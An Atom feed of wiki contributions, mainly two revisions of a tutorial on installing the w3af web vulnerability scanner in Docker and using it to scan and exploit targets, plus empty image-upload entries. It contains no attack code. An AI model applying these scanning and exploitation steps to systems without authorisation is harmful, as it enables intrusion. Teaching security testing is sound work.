<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://elvis.hcw.ac.at/wiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=EPelanovic</id>
	<title>Elvis Wiki - User contributions [en]</title>
	<link rel="self" type="application/atom+xml" href="https://elvis.hcw.ac.at/wiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=EPelanovic"/>
	<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php/Special:Contributions/EPelanovic"/>
	<updated>2026-09-10T15:35:24Z</updated>
	<subtitle>User contributions</subtitle>
	<generator>MediaWiki 1.41.5</generator>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=W3af_Tutorial&amp;diff=13922</id>
		<title>W3af Tutorial</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=W3af_Tutorial&amp;diff=13922"/>
		<updated>2024-01-16T18:02:55Z</updated>

		<summary type="html">&lt;p&gt;EPelanovic: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Newest Kali Linux VM or MacOS Installation (2024) =  &lt;br /&gt;
&lt;br /&gt;
== Summary == &lt;br /&gt;
&lt;br /&gt;
This document is a Step-by-Step Guide on how to install and  use w3af (command line, no GUI). w3af is a fully comprehensive environment for web application testing and exploitation. It provides a solid platform for web vulnerability assessments and penetration testing. w3af is able to identify 200+ vulnerabilities, including Cross-Site Scripting (XSS), SQL injection and OS commanding.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
Make sure you have the following software ready before starting the installation:&lt;br /&gt;
&lt;br /&gt;
* Git client: sudo apt-get install git&lt;br /&gt;
* Python &lt;br /&gt;
* Pip &lt;br /&gt;
* Docker (whatever version)&lt;br /&gt;
* Kali Linux (in my case as a VM in Windows 10) or MacOS&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
In my case the normal installation steps which were shown on &amp;quot;http://docs.w3af.org/en/latest/install.html&amp;quot; didn&#039;t worked out, because dependencies and packages are not available or do not work with newer operating systems, particularly for the GUI. Neither the w3af package was found like it was shown in the &amp;quot;Kali Linux Installation&amp;quot; section. Therefore the Docker Installation version was used with some modifications in order to start the w3af console.&lt;br /&gt;
&lt;br /&gt;
=== Installation ===&lt;br /&gt;
&lt;br /&gt;
Enter these commands in the shell&lt;br /&gt;
&lt;br /&gt;
 git clone https://github.com/andresriancho/w3af.git&lt;br /&gt;
 cd w3af/extras/docker/scripts/&lt;br /&gt;
 sudo ./w3af_console_docker&lt;br /&gt;
&lt;br /&gt;
If you are using MacOS after executing the last command it is possible that you got the following error:&lt;br /&gt;
&lt;br /&gt;
[[File:ErrorMessagePython.png|900px]]&lt;br /&gt;
&lt;br /&gt;
Type in the following command and try it again.&lt;br /&gt;
In both MacOS Linux you will get the following error message which is because of Python. &lt;br /&gt;
&lt;br /&gt;
[[File:ErrorMessagePython2.png|900px]]&lt;br /&gt;
&lt;br /&gt;
Replace in the displayed file named &amp;quot;docker_helpers.py&amp;quot; the &amp;quot;,&amp;quot; in the exception with an &amp;quot;as&amp;quot; on every place where it is. It should be used on two places.&lt;br /&gt;
Execute the command again and you should get the following result: &lt;br /&gt;
&lt;br /&gt;
[[File:ErrorMessageW3AF.png|900px]]&lt;br /&gt;
&lt;br /&gt;
This problem was also described here: &lt;br /&gt;
* https://github.com/andresriancho/w3af/issues/14918&lt;br /&gt;
&lt;br /&gt;
[[File:ProblemDescribed.png|900px]]&lt;br /&gt;
&lt;br /&gt;
Running the following commands with following credentials should be the solution (username=root ; password=w3af):&lt;br /&gt;
&lt;br /&gt;
[[File:SolutionW3AF.png|900px]]&lt;br /&gt;
&lt;br /&gt;
Here are the commands again if a copy &amp;amp; paste is needed. The &amp;quot;--network host&amp;quot; parameter is important to be able to scan websites within the virtual machine which run locally, because w3af runs in a docker container. Be careful to change the path accordingly. What is done here is a port forwarding from the docker container to localhost and then a SSH session is created to the container. &lt;br /&gt;
&lt;br /&gt;
 $ docker run -d --network host -p 22:22 --name w3af andresriancho/w3af&lt;br /&gt;
&lt;br /&gt;
 $ sudo ssh -i /&amp;lt;REDACTED&amp;gt;/w3af/extras/docker/scripts/common/w3af-docker.prv -t -t -oStrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o LogLevel=quiet root@localhost /home/w3af/w3af/w3af_console --no-update&lt;br /&gt;
&lt;br /&gt;
Then the w3af console should finally run. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Scanning ==&lt;br /&gt;
&lt;br /&gt;
To make you familiar with the tool you can first type in &amp;quot;help&amp;quot; to see what commands are available:&lt;br /&gt;
&lt;br /&gt;
[[File:help.png|900px]]&lt;br /&gt;
&lt;br /&gt;
If you want to do some authenticated scans you have to play around with &amp;quot;http-settings like in the following two screenshots:&lt;br /&gt;
&lt;br /&gt;
[[File:httpsettingshelp.png|900px]]&lt;br /&gt;
&lt;br /&gt;
[[File:Httpsettingsview.png|900px]]&lt;br /&gt;
&lt;br /&gt;
To be able to start a scan you can configure plugins. Switch to plugins (type in &amp;quot;plugins&amp;quot;) and then enter &amp;quot;help&amp;quot; to see what opportunities you have:&lt;br /&gt;
&lt;br /&gt;
[[File:pluginshelp.png|900px]]&lt;br /&gt;
&lt;br /&gt;
To view for example the &amp;quot;audit&amp;quot; plugin in more detail, enter &amp;quot;list audit&amp;quot;:&lt;br /&gt;
&lt;br /&gt;
[[File:list_audit.png|900px]]&lt;br /&gt;
&lt;br /&gt;
To enable some plugins of your choice in audit type in the appropriate plugin name:&lt;br /&gt;
&lt;br /&gt;
[[File:list_audit_2.png|900px]]&lt;br /&gt;
&lt;br /&gt;
You can also view the details of the plugin itself:&lt;br /&gt;
&lt;br /&gt;
[[File:list_audit_3.png|900px]]&lt;br /&gt;
&lt;br /&gt;
There are also prefabricated profiles which can be chosen like it can be seen in the following:&lt;br /&gt;
&lt;br /&gt;
[[File:EverthingAboutProfiles.png|900px]]&lt;br /&gt;
&lt;br /&gt;
To choose a profile enter like in the screenshot below:&lt;br /&gt;
&lt;br /&gt;
[[File:configureProfile.png|900px]]&lt;br /&gt;
&lt;br /&gt;
At the end, specify a target and start the scan:&lt;br /&gt;
&lt;br /&gt;
[[File:setTargetAndStartScan.png|900px]] &lt;br /&gt;
&lt;br /&gt;
== Results == &lt;br /&gt;
&lt;br /&gt;
The results are printed out at the console. They can be copied to a textfile to maybe be searchable.&lt;br /&gt;
&lt;br /&gt;
== Exploitation == &lt;br /&gt;
&lt;br /&gt;
If for example an sql injection vulnerability was found by the tool, the following can be chosen out of the exploits:&lt;br /&gt;
&lt;br /&gt;
[[File:setTargetAndStartScan.png|900px]] &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Deprecated Ubuntu 12.04 Installation (GUI version) =&lt;br /&gt;
&lt;br /&gt;
For everyone who wants to use the tool with Ubuntu 12.04 the following needs to be done:&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Linux-based System - preferably Ubuntu 12.04 LTS&lt;br /&gt;
* Python2&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
=== Installation ===&lt;br /&gt;
&lt;br /&gt;
Enter these commands in the shell&lt;br /&gt;
&lt;br /&gt;
 sudo apt-get install git&lt;br /&gt;
 sudo apt install python2.7&lt;br /&gt;
 git clone git@github.com:andresriancho/w3af.git&lt;br /&gt;
 cd w3af/&lt;br /&gt;
 ./w3af_gui&lt;br /&gt;
 ./tmp/w3af_dependency_install.sh&lt;br /&gt;
&lt;br /&gt;
In short, what happens here: &lt;br /&gt;
&lt;br /&gt;
* We use git to download w3af’s source code&lt;br /&gt;
* Then we switch into a directory which contains some scripts&lt;br /&gt;
* Execution of w3af_console_docker script&lt;br /&gt;
&lt;br /&gt;
Edit (Jan. 2023): Currently there might be new errors starting w3af_gui, therefore you might have to downgrade specific dependencies/packets or use an older OS (i.e. Ubuntu 12.04).&lt;br /&gt;
&lt;br /&gt;
=== Scanning ===&lt;br /&gt;
&lt;br /&gt;
This is how the GUI looks like:&lt;br /&gt;
&lt;br /&gt;
[[File:W3afGUI_1.png|900px]]&lt;br /&gt;
&lt;br /&gt;
On the left hand side, you can find different profiles, that have different plugins to select and configure. &lt;br /&gt;
Under the plugin section, there are different plugin groups:&lt;br /&gt;
&lt;br /&gt;
* audit&lt;br /&gt;
* bruteforce&lt;br /&gt;
* crawl&lt;br /&gt;
* infrastructure&lt;br /&gt;
* evasion&lt;br /&gt;
* grep&lt;br /&gt;
* mangle&lt;br /&gt;
* output&lt;br /&gt;
&lt;br /&gt;
After selecting a plugin, in the window on the right is a description regarding the plugin and its configurations. To configure the plugin, just select it, and modify the options that appears in the right window. You need to save the configuration to use it.&lt;br /&gt;
&lt;br /&gt;
To finish the configuration for the scan, you need to insert a target URL in the upper text entry. &lt;br /&gt;
&lt;br /&gt;
After selecting the profile, the plugins and typed in the URL, you can start the scan with clicking on start.&lt;br /&gt;
&lt;br /&gt;
After starting the scan, the Log Pane will be opened, where in the upper part you have the logging text &amp;amp; below that messages you can see what the system is currently doing. Also on the right bottom side, there are three indicators showing the quantity of information items found, vulnerabilities found, &amp;amp; the shell, which were successfully exploited.&lt;br /&gt;
&lt;br /&gt;
=== Results ===&lt;br /&gt;
&lt;br /&gt;
During the scan or after finishing the scan, you can look in the results tab:&lt;br /&gt;
&lt;br /&gt;
[[File:W3afGUI_2.png|900px]]&lt;br /&gt;
&lt;br /&gt;
On the left side, it shows you the vulnerabilities and informations. When selecting one of the items, and that item corresponds to a HTTP request originated by the scanning, you can see it on the right side with its information. The colours indicate the severity of the vulnerability and have the following meaning:&lt;br /&gt;
&lt;br /&gt;
* black for information, &lt;br /&gt;
* orange for low severity &lt;br /&gt;
* red for medium/high severity.&lt;br /&gt;
&lt;br /&gt;
=== Exploitation ===&lt;br /&gt;
&lt;br /&gt;
We can also use exploits in w3af:&lt;br /&gt;
&lt;br /&gt;
[[File:W3afGUI_3.png|900px]]&lt;br /&gt;
&lt;br /&gt;
In order to exploit a vulnerability, you need to drag the exploit to the vulnerability you want to exploit and drop it there. This drag-and-drop process is all you need to activate a particular vulnerability.&lt;br /&gt;
&lt;br /&gt;
Apart from the w3af core functionality, that is to scan for vulnerabilities and exploit them, there are other tools that can be used, to find them follow the guide (Tools section) under the References section.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://docs.w3af.org/en/stable/index.html&lt;br /&gt;
* https://github.com/andresriancho/w3af/&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>EPelanovic</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=W3af_Tutorial&amp;diff=13921</id>
		<title>W3af Tutorial</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=W3af_Tutorial&amp;diff=13921"/>
		<updated>2024-01-16T17:57:44Z</updated>

		<summary type="html">&lt;p&gt;EPelanovic: Created page with &amp;quot;= Newest Kali Linux VM or MacOS Installation (2024) =    == Summary ==   This document is a Step-by-Step Guide on how to install and  use w3af (command line, no GUI). w3af is a fully comprehensive environment for web application testing and exploitation. It provides a solid platform for web vulnerability assessments and penetration testing. w3af is able to identify 200+ vulnerabilities, including Cross-Site Scripting (XSS), SQL injection and OS commanding.  == Requiremen...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Newest Kali Linux VM or MacOS Installation (2024) =  &lt;br /&gt;
&lt;br /&gt;
== Summary == &lt;br /&gt;
&lt;br /&gt;
This document is a Step-by-Step Guide on how to install and  use w3af (command line, no GUI). w3af is a fully comprehensive environment for web application testing and exploitation. It provides a solid platform for web vulnerability assessments and penetration testing. w3af is able to identify 200+ vulnerabilities, including Cross-Site Scripting (XSS), SQL injection and OS commanding.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
Make sure you have the following software ready before starting the installation:&lt;br /&gt;
&lt;br /&gt;
* Git client: sudo apt-get install git&lt;br /&gt;
* Python &lt;br /&gt;
* Pip &lt;br /&gt;
* Docker (whatever version)&lt;br /&gt;
* Kali Linux (in my case as a VM in Windows 10) or MacOS&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
In my case the normal installation steps which were shown on &amp;quot;http://docs.w3af.org/en/latest/install.html&amp;quot; didn&#039;t worked out, because dependencies and packages are not available or do not work with newer operating systems, particularly for the GUI. Neither the w3af package was found like it was shown in the &amp;quot;Kali Linux Installation&amp;quot; section. Therefore the Docker Installation version was used with some modifications in order to start the w3af console.&lt;br /&gt;
&lt;br /&gt;
=== Installation ===&lt;br /&gt;
&lt;br /&gt;
Enter these commands in the shell&lt;br /&gt;
&lt;br /&gt;
 git clone https://github.com/andresriancho/w3af.git&lt;br /&gt;
 cd w3af/extras/docker/scripts/&lt;br /&gt;
 sudo ./w3af_console_docker&lt;br /&gt;
&lt;br /&gt;
If you are using MacOS after executing the last command it is possible that you got the following error:&lt;br /&gt;
&lt;br /&gt;
[[File:ErrorMessagePython.png|900px]]&lt;br /&gt;
&lt;br /&gt;
Type in the following command and try it again.&lt;br /&gt;
In both MacOS Linux you will get the following error message which is because of Python. &lt;br /&gt;
&lt;br /&gt;
[[File:ErrorMessagePython2.png|900px]]&lt;br /&gt;
&lt;br /&gt;
Replace in the displayed file named &amp;quot;docker_helpers.py&amp;quot; the &amp;quot;,&amp;quot; in the exception with an &amp;quot;as&amp;quot; on every place where it is. It should be used on two places.&lt;br /&gt;
Execute the command again and you should get the following result: &lt;br /&gt;
&lt;br /&gt;
[[File:ErrorMessageW3AF.png|900px]]&lt;br /&gt;
&lt;br /&gt;
This problem was also described here: &lt;br /&gt;
* https://github.com/andresriancho/w3af/issues/14918&lt;br /&gt;
&lt;br /&gt;
[[File:ProblemDescribed.png|900px]]&lt;br /&gt;
&lt;br /&gt;
Running the following commands with following credentials should be the solution (username=root ; password=w3af):&lt;br /&gt;
&lt;br /&gt;
[[File:SolutionW3AF.png|900px]]&lt;br /&gt;
&lt;br /&gt;
Here are the commands again if a copy &amp;amp; paste is needed. The &amp;quot;--network host&amp;quot; parameter is important to be able to scan websites within the virtual machine which run locally, because w3af runs in a docker container. Be careful to change the path accordingly.&lt;br /&gt;
&lt;br /&gt;
 $ docker run -d --network host -p 22:22 --name w3af andresriancho/w3af&lt;br /&gt;
&lt;br /&gt;
 $ sudo ssh -i /&amp;lt;REDACTED&amp;gt;/w3af/extras/docker/scripts/common/w3af-docker.prv -t -t -oStrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o LogLevel=quiet root@localhost /home/w3af/w3af/w3af_console --no-update&lt;br /&gt;
&lt;br /&gt;
Then the w3af console should finally run. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Scanning ==&lt;br /&gt;
&lt;br /&gt;
To make you familiar with the tool you can first type in &amp;quot;help&amp;quot; to see what commands are available:&lt;br /&gt;
&lt;br /&gt;
[[File:help.png|900px]]&lt;br /&gt;
&lt;br /&gt;
If you want to do some authenticated scans you have to play around with &amp;quot;http-settings like in the following two screenshots:&lt;br /&gt;
&lt;br /&gt;
[[File:httpsettingshelp.png|900px]]&lt;br /&gt;
&lt;br /&gt;
[[File:Httpsettingsview.png|900px]]&lt;br /&gt;
&lt;br /&gt;
To be able to start a scan you can configure plugins. Switch to plugins (type in &amp;quot;plugins&amp;quot;) and then enter &amp;quot;help&amp;quot; to see what opportunities you have:&lt;br /&gt;
&lt;br /&gt;
[[File:pluginshelp.png|900px]]&lt;br /&gt;
&lt;br /&gt;
To view for example the &amp;quot;audit&amp;quot; plugin in more detail, enter &amp;quot;list audit&amp;quot;:&lt;br /&gt;
&lt;br /&gt;
[[File:list_audit.png|900px]]&lt;br /&gt;
&lt;br /&gt;
To enable some plugins of your choice in audit type in the appropriate plugin name:&lt;br /&gt;
&lt;br /&gt;
[[File:list_audit_2.png|900px]]&lt;br /&gt;
&lt;br /&gt;
You can also view the details of the plugin itself:&lt;br /&gt;
&lt;br /&gt;
[[File:list_audit_3.png|900px]]&lt;br /&gt;
&lt;br /&gt;
There are also prefabricated profiles which can be chosen like it can be seen in the following:&lt;br /&gt;
&lt;br /&gt;
[[File:EverthingAboutProfiles.png|900px]]&lt;br /&gt;
&lt;br /&gt;
To choose a profile enter like in the screenshot below:&lt;br /&gt;
&lt;br /&gt;
[[File:configureProfile.png|900px]]&lt;br /&gt;
&lt;br /&gt;
At the end, specify a target and start the scan:&lt;br /&gt;
&lt;br /&gt;
[[File:setTargetAndStartScan.png|900px]] &lt;br /&gt;
&lt;br /&gt;
== Results == &lt;br /&gt;
&lt;br /&gt;
The results are printed out at the console. They can be copied to a textfile to maybe be searchable.&lt;br /&gt;
&lt;br /&gt;
== Exploitation == &lt;br /&gt;
&lt;br /&gt;
If for example an sql injection vulnerability was found by the tool, the following can be chosen out of the exploits:&lt;br /&gt;
&lt;br /&gt;
[[File:setTargetAndStartScan.png|900px]] &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Deprecated Ubuntu 12.04 Installation (GUI version) =&lt;br /&gt;
&lt;br /&gt;
For everyone who wants to use the tool with Ubuntu 12.04 the following needs to be done:&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Linux-based System - preferably Ubuntu 12.04 LTS&lt;br /&gt;
* Python2&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
=== Installation ===&lt;br /&gt;
&lt;br /&gt;
Enter these commands in the shell&lt;br /&gt;
&lt;br /&gt;
 sudo apt-get install git&lt;br /&gt;
 sudo apt install python2.7&lt;br /&gt;
 git clone git@github.com:andresriancho/w3af.git&lt;br /&gt;
 cd w3af/&lt;br /&gt;
 ./w3af_gui&lt;br /&gt;
 ./tmp/w3af_dependency_install.sh&lt;br /&gt;
&lt;br /&gt;
In short, what happens here: &lt;br /&gt;
&lt;br /&gt;
* We use git to download w3af’s source code&lt;br /&gt;
* Then we switch into a directory which contains some scripts&lt;br /&gt;
* Execution of w3af_console_docker script&lt;br /&gt;
&lt;br /&gt;
Edit (Jan. 2023): Currently there might be new errors starting w3af_gui, therefore you might have to downgrade specific dependencies/packets or use an older OS (i.e. Ubuntu 12.04).&lt;br /&gt;
&lt;br /&gt;
=== Scanning ===&lt;br /&gt;
&lt;br /&gt;
This is how the GUI looks like:&lt;br /&gt;
&lt;br /&gt;
[[File:W3afGUI_1.png|900px]]&lt;br /&gt;
&lt;br /&gt;
On the left hand side, you can find different profiles, that have different plugins to select and configure. &lt;br /&gt;
Under the plugin section, there are different plugin groups:&lt;br /&gt;
&lt;br /&gt;
* audit&lt;br /&gt;
* bruteforce&lt;br /&gt;
* crawl&lt;br /&gt;
* infrastructure&lt;br /&gt;
* evasion&lt;br /&gt;
* grep&lt;br /&gt;
* mangle&lt;br /&gt;
* output&lt;br /&gt;
&lt;br /&gt;
After selecting a plugin, in the window on the right is a description regarding the plugin and its configurations. To configure the plugin, just select it, and modify the options that appears in the right window. You need to save the configuration to use it.&lt;br /&gt;
&lt;br /&gt;
To finish the configuration for the scan, you need to insert a target URL in the upper text entry. &lt;br /&gt;
&lt;br /&gt;
After selecting the profile, the plugins and typed in the URL, you can start the scan with clicking on start.&lt;br /&gt;
&lt;br /&gt;
After starting the scan, the Log Pane will be opened, where in the upper part you have the logging text &amp;amp; below that messages you can see what the system is currently doing. Also on the right bottom side, there are three indicators showing the quantity of information items found, vulnerabilities found, &amp;amp; the shell, which were successfully exploited.&lt;br /&gt;
&lt;br /&gt;
=== Results ===&lt;br /&gt;
&lt;br /&gt;
During the scan or after finishing the scan, you can look in the results tab:&lt;br /&gt;
&lt;br /&gt;
[[File:W3afGUI_2.png|900px]]&lt;br /&gt;
&lt;br /&gt;
On the left side, it shows you the vulnerabilities and informations. When selecting one of the items, and that item corresponds to a HTTP request originated by the scanning, you can see it on the right side with its information. The colours indicate the severity of the vulnerability and have the following meaning:&lt;br /&gt;
&lt;br /&gt;
* black for information, &lt;br /&gt;
* orange for low severity &lt;br /&gt;
* red for medium/high severity.&lt;br /&gt;
&lt;br /&gt;
=== Exploitation ===&lt;br /&gt;
&lt;br /&gt;
We can also use exploits in w3af:&lt;br /&gt;
&lt;br /&gt;
[[File:W3afGUI_3.png|900px]]&lt;br /&gt;
&lt;br /&gt;
In order to exploit a vulnerability, you need to drag the exploit to the vulnerability you want to exploit and drop it there. This drag-and-drop process is all you need to activate a particular vulnerability.&lt;br /&gt;
&lt;br /&gt;
Apart from the w3af core functionality, that is to scan for vulnerabilities and exploit them, there are other tools that can be used, to find them follow the guide (Tools section) under the References section.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://docs.w3af.org/en/stable/index.html&lt;br /&gt;
* https://github.com/andresriancho/w3af/&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>EPelanovic</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:Exploit.png&amp;diff=13900</id>
		<title>File:Exploit.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:Exploit.png&amp;diff=13900"/>
		<updated>2024-01-16T13:06:41Z</updated>

		<summary type="html">&lt;p&gt;EPelanovic: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>EPelanovic</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:SetTargetAndStartScan.png&amp;diff=13896</id>
		<title>File:SetTargetAndStartScan.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:SetTargetAndStartScan.png&amp;diff=13896"/>
		<updated>2024-01-16T12:49:06Z</updated>

		<summary type="html">&lt;p&gt;EPelanovic: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>EPelanovic</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:List_audit_3.png&amp;diff=13895</id>
		<title>File:List audit 3.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:List_audit_3.png&amp;diff=13895"/>
		<updated>2024-01-16T12:48:57Z</updated>

		<summary type="html">&lt;p&gt;EPelanovic: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>EPelanovic</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:List_audit_2.png&amp;diff=13894</id>
		<title>File:List audit 2.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:List_audit_2.png&amp;diff=13894"/>
		<updated>2024-01-16T12:48:46Z</updated>

		<summary type="html">&lt;p&gt;EPelanovic: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>EPelanovic</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:EverthingAboutProfiles.png&amp;diff=13893</id>
		<title>File:EverthingAboutProfiles.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:EverthingAboutProfiles.png&amp;diff=13893"/>
		<updated>2024-01-16T12:48:16Z</updated>

		<summary type="html">&lt;p&gt;EPelanovic: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>EPelanovic</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:ConfigureProfile.png&amp;diff=13892</id>
		<title>File:ConfigureProfile.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:ConfigureProfile.png&amp;diff=13892"/>
		<updated>2024-01-16T12:48:06Z</updated>

		<summary type="html">&lt;p&gt;EPelanovic: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>EPelanovic</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:List_audit.png&amp;diff=13891</id>
		<title>File:List audit.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:List_audit.png&amp;diff=13891"/>
		<updated>2024-01-16T12:47:54Z</updated>

		<summary type="html">&lt;p&gt;EPelanovic: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>EPelanovic</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:Pluginshelp.png&amp;diff=13890</id>
		<title>File:Pluginshelp.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:Pluginshelp.png&amp;diff=13890"/>
		<updated>2024-01-16T12:47:44Z</updated>

		<summary type="html">&lt;p&gt;EPelanovic: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>EPelanovic</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:Httpsettingsview.png&amp;diff=13889</id>
		<title>File:Httpsettingsview.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:Httpsettingsview.png&amp;diff=13889"/>
		<updated>2024-01-16T12:47:36Z</updated>

		<summary type="html">&lt;p&gt;EPelanovic: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>EPelanovic</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:Httpsettingshelp.png&amp;diff=13888</id>
		<title>File:Httpsettingshelp.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:Httpsettingshelp.png&amp;diff=13888"/>
		<updated>2024-01-16T12:46:59Z</updated>

		<summary type="html">&lt;p&gt;EPelanovic: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>EPelanovic</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:Help.png&amp;diff=13887</id>
		<title>File:Help.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:Help.png&amp;diff=13887"/>
		<updated>2024-01-16T12:46:49Z</updated>

		<summary type="html">&lt;p&gt;EPelanovic: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>EPelanovic</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:W3afGUI_3.png&amp;diff=13880</id>
		<title>File:W3afGUI 3.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:W3afGUI_3.png&amp;diff=13880"/>
		<updated>2024-01-15T22:42:29Z</updated>

		<summary type="html">&lt;p&gt;EPelanovic: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>EPelanovic</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:W3afGUI_2.png&amp;diff=13879</id>
		<title>File:W3afGUI 2.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:W3afGUI_2.png&amp;diff=13879"/>
		<updated>2024-01-15T22:41:47Z</updated>

		<summary type="html">&lt;p&gt;EPelanovic: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>EPelanovic</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:W3afGUI_1.png&amp;diff=13878</id>
		<title>File:W3afGUI 1.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:W3afGUI_1.png&amp;diff=13878"/>
		<updated>2024-01-15T22:41:35Z</updated>

		<summary type="html">&lt;p&gt;EPelanovic: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>EPelanovic</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:SolutionW3AF.png&amp;diff=13877</id>
		<title>File:SolutionW3AF.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:SolutionW3AF.png&amp;diff=13877"/>
		<updated>2024-01-15T22:34:51Z</updated>

		<summary type="html">&lt;p&gt;EPelanovic: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>EPelanovic</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:ProblemDescribed.png&amp;diff=13876</id>
		<title>File:ProblemDescribed.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:ProblemDescribed.png&amp;diff=13876"/>
		<updated>2024-01-15T22:33:09Z</updated>

		<summary type="html">&lt;p&gt;EPelanovic: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>EPelanovic</name></author>
	</entry>
	<entry>
